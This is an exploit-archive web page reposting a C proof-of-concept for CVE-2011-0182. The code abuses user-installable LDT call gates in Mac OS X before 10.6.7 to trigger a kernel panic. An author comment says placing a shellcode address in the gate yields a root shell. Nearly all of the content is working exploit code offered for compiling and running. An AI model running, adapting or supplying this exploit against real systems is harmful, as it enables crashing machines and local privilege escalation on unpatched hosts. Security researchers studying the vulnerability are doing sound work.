首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mac OS X < 10.6.7 Kernel Panic Exploit
来源:http://hkpco.kr 作者:hkpco 发布时间:2011-09-29  

/*
 Mac OS X < 10.6.7 Kernel Panic Exploit
 CVE-2011-0182, Proof Of Concept Code

 Author - Chanam Park (hkpco)
 Date - 2011. 06
 Contact - chanam.park@hkpco.kr , http://hkpco.kr , @hkpco

 Thanks for inspiration / x82, riaf.
*/
// Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32

#include <architecture/i386/table.h>
#include <i386/user_ldt.h>

#include <unistd.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void dummy_func( void ) { asm volatile( ".byte 0xff" ); }

int main( void )
{
 int ret;
 union ldt_entry cgate, cgate2;
 char dummy[128] = {0x00,};

 cgate.call_gate.offset00        = (unsigned int)dummy_func & 0xffff;
 cgate.call_gate.offset16        = ((unsigned int)dummy_func >> 16) & 0xffff;
 // You can input shellcode address value here to get the root shell.
 /* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
    The normal system has a little different environment.
    I have no time for this anymore because of my summer break is over.
    So.. Good Luck! */

 cgate.call_gate.argcnt          = 0;
 cgate.call_gate.type            = 0xc; // DESC_CALL_GATE
 cgate.call_gate.dpl             = 3;
 cgate.call_gate.present         = 1;

 cgate.call_gate.seg.rpl         = 0;
 cgate.call_gate.seg.ti          = 0;
 cgate.call_gate.seg.index       = 16;

 cgate2.call_gate.offset00       = 0x0;

 cgate2.call_gate.seg.rpl        = 0;
 cgate2.call_gate.seg.ti         = 0;
 cgate2.call_gate.seg.index      = 0;

 cgate2.call_gate.argcnt         = 0;
 cgate2.call_gate.type           = 0;
 cgate2.call_gate.dpl            = 0;
 cgate2.call_gate.present        = 1;

 cgate2.call_gate.offset16       = 0x0;

 printf( "// coded by Chanam Park (hkpco)\n\n" );

 ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );
 printf( "Selector Number in LDT <1>: 0x%x\n", ret );

 ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );
 printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );

 printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );
 printf( "The program will be continued when you input any value.\n" );
 printf( "-> " );
 fflush(stdout);
 scanf( "%s", dummy );

 asm volatile( "lcall $0x3f, $0x0" );
 // Trigger

 return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SafeKeyNet FTP Server Remote B
·Norman Security Suite 8 (npros
·Cliprex Lite Player(.ASF) Loca
·ScriptFTP 3.3 Remote Buffer Ov
·FocusedBeams Backdoor Command
·eSignal / eSignal Pro 10.6.242
·Advanced MP3 WMA Recorder(.mp3
·FreeBSD UIPC socket heap overf
·Metasploit 3.7.x Remote Denial
·Ashampoo Burning Studio Elemen
·GTA SA-MP server.cfg Local Buf
·PolicyKit Pwnage: linux local
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved